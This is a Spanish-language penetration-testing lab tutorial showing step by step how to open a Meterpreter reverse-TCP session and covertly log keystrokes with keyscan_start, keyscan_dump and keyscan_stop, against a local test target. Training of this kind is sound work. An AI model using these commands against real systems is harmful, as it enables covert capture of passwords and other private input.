Registrar pulsaciones de teclas en un objetivo con Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, explorará una técnica común de post-explotación: el registro de pulsaciones de teclas (keystroke logging). El registro de pulsaciones de teclas, o "keylogging", es el proceso de registrar las teclas pulsadas en un teclado, típicamente de forma encubierta, de modo que la persona que utiliza el teclado no sea consciente de que sus acciones están siendo monitorizadas. En las pruebas de penetración, esta técnica es invaluable para recopilar información sensible como nombres de usuario, contraseñas y otros datos confidenciales.

Utilizaremos el potente payload del Metasploit Framework, Meterpreter, para lograr esto. Meterpreter tiene un módulo integrado llamado keyscan que permite a un atacante iniciar, volcar y detener fácilmente un keylogger en un sistema comprometido. A lo largo de este laboratorio, aprenderá a obtener una sesión de Meterpreter, desplegar el keylogger, capturar pulsaciones de teclas y luego limpiar sus huellas.

Obtener una sesión de Meterpreter en un objetivo

En este paso, configuraremos un listener en Metasploit y ejecutaremos un payload para obtener una sesión de Meterpreter. Para el propósito de este laboratorio, actuaremos como atacante y objetivo en la misma máquina. Ya se ha creado un archivo de payload llamado payload.elf para usted en el directorio ~/project.

Primero, iniciemos la consola de Metasploit Framework.

msfconsole -q

Una vez cargado msfconsole, necesitamos configurar un manejador (handler) para escuchar la conexión entrante de nuestro payload.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Ahora, ejecute el listener como un trabajo en segundo plano utilizando la bandera -j.

exploit -j

Debería ver que el manejador se ha iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Ahora, abra una nueva pestaña de terminal haciendo clic en el icono + en el panel de terminal. En esta nueva pestaña, ejecute el payload.

./payload.elf

Vuelva a su primera pestaña de terminal con msfconsole. Debería ver un mensaje que indica que se ha abierto una sesión de Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400

Para interactuar con esta nueva sesión, use el comando sessions.

sessions -i 1

Su prompt debería cambiar a meterpreter>, lo que indica que ahora tiene el control de la sesión del objetivo.

[*] Starting interaction with 1...

meterpreter >

Iniciar el registro de pulsaciones de teclas con el comando keyscan_start

En este paso, con una sesión activa de Meterpreter, iniciaremos el registro de pulsaciones de teclas en la máquina objetivo. El comando para esto es keyscan_start. Este comando inyecta un keylogger en un proceso del sistema objetivo y comienza a capturar toda la entrada del teclado.

Asegúrese de estar en el prompt meterpreter>. Escriba el siguiente comando y presione Enter:

keyscan_start

El sistema confirmará que el keylogger ha sido iniciado.

Starting the keystroke sniffer...

El registrador ahora se está ejecutando silenciosamente en segundo plano en el sistema objetivo, grabando cada tecla que se presiona.

Esperar a que el usuario escriba información

En este paso, simularemos que un usuario escribe información confidencial en la máquina objetivo. Dado que nuestro keylogger está activo, capturará esta actividad.

Abra nuevamente una nueva pestaña de terminal haciendo clic en el icono +. En esta nueva terminal, simularemos que un usuario escribe una contraseña. Puede escribir cualquier comando, pero para este ejemplo, usaremos echo para simular la escritura de una contraseña secreta.

echo "MySuperSecretPassword123"

Después de ejecutar el comando, puede cerrar esta nueva pestaña de terminal. Las pulsaciones de teclas para echo "MySuperSecretPassword123" han sido capturadas por nuestro keylogger en ejecución. Regrese a la pestaña de terminal donde su sesión de Meterpreter está activa.

Volcar las pulsaciones de teclas capturadas con el comando keyscan_dump

En este paso, recuperaremos las pulsaciones de teclas que han sido capturadas por el registrador. El comando keyscan_dump recupera todas las pulsaciones de teclas registradas de la máquina objetivo y las muestra en su consola de Meterpreter.

En el prompt meterpreter>, ejecute el siguiente comando:

keyscan_dump

Verá la salida de todas las pulsaciones de teclas capturadas desde que se inició el registrador. Esto incluirá el comando que escribió en el paso anterior.

Dumping captured keystrokes...

echo "MySuperSecretPassword123"

Como puede ver, el comando que escribimos en la otra terminal ha sido capturado con éxito. Esto demuestra cómo un atacante puede robar credenciales, comandos y otro texto sensible escrito por un usuario.

Detener el registrador de pulsaciones de teclas con keyscan_stop

En este paso, detendremos el keylogger. Es crucial para un pentester limpiar después de un compromiso para eliminar cualquier artefacto y detener cualquier proceso en ejecución, dejando el sistema objetivo tal como se encontró.

Para detener el keylogger, use el comando keyscan_stop en su sesión de Meterpreter.

keyscan_stop

El sistema confirmará que el keylogger se ha detenido.

Stopping the keystroke sniffer...

El keylogger ya no está activo en la máquina objetivo. Ahora puede salir de forma segura de la sesión de Meterpreter y de msfconsole escribiendo exit dos veces.

Resumen

En este laboratorio, ha aprendido con éxito cómo realizar el registro de pulsaciones de teclas en un sistema objetivo utilizando Meterpreter. Ha practicado el ciclo de vida completo de esta técnica de post-explotación, desde la obtención de una sesión hasta la limpieza de sus herramientas.

Ha aprendido a:

  • Establecer una sesión de Meterpreter utilizando un manejador (handler) y un payload.
  • Iniciar el keylogger en un objetivo utilizando el comando keyscan_start.
  • Volcar las pulsaciones de teclas capturadas para ver información sensible con keyscan_dump.
  • Detener el keylogger y limpiar la sesión utilizando keyscan_stop.

Esta es una técnica poderosa que resalta la importancia de la seguridad y el monitoreo del sistema. Recuerde usar estas habilidades de manera responsable y ética. ¡Felicidades por completar el laboratorio!